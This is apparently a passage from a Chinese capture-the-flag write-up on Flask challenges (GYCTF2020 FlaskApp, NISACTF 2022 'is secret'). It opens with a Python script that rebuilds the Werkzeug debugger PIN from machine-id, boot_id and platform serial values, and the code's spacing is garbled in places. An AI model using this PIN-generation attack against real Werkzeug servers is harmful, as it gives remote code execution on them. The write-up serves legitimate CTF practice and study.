h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, text_type): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
def_generate(): # Potential sources of secret information on linux. The machine-id # is stable across boots, the boot id is not for filename in'/etc/machine-id', '/proc/sys/kernel/random/boot_id': try: withopen(filename, 'rb') as f: return f.readline().strip() except IOError: continue
# On OS X we can use the computer's serial number assuming that # ioreg exists and can spit out that information. try: # Also catch import errors: subprocess may not be available, e.g. # Google App Engine # See https://github.com/pallets/werkzeug/issues/925 from subprocess import Popen, PIPE dump = Popen(['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'], stdout=PIPE).communicate()[0] match = re.search(b'"serial-number" = <([^>]+)', dump) ifmatchisnotNone: returnmatch.group(1) except (OSError, ImportError): pass
# On Windows we can use winreg to get the machine guid wr = None try: import winreg as wr except ImportError: try: import _winreg as wr except ImportError: pass if wr isnotNone: try: with wr.OpenKey(wr.HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Cryptography', 0, wr.KEY_READ | wr.KEY_WOW64_64KEY) as rk: machineGuid, wrType = wr.QueryValueEx(rk, 'MachineGuid') if (wrType == wr.REG_SZ): return machineGuid.encode('utf-8') else: return machineGuid except WindowsError: pass
h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x inrange(0, len(num), group_size)) break else: rv = num
print(rv)
去复习把o(╥﹏╥)o,踩了很多坑,终于复现成功了,因为都差不多就写一个wp啦
buuctf [GYCTF2020]FlaskApp
nssctf [NISACTF 2022]is secret
nssctf [NISACTF 2022]is secret
进入页面发现Welcome To Find Secret
一开始并没有想到secret路径
发现在robots.txt有一句It is Android ctf,这是骗你了
在主页面提示下进入secret路径
http://node2.anna.nssctf.cn:28203/secret页面显示Tell me your secret.I will encrypt it so others can’t see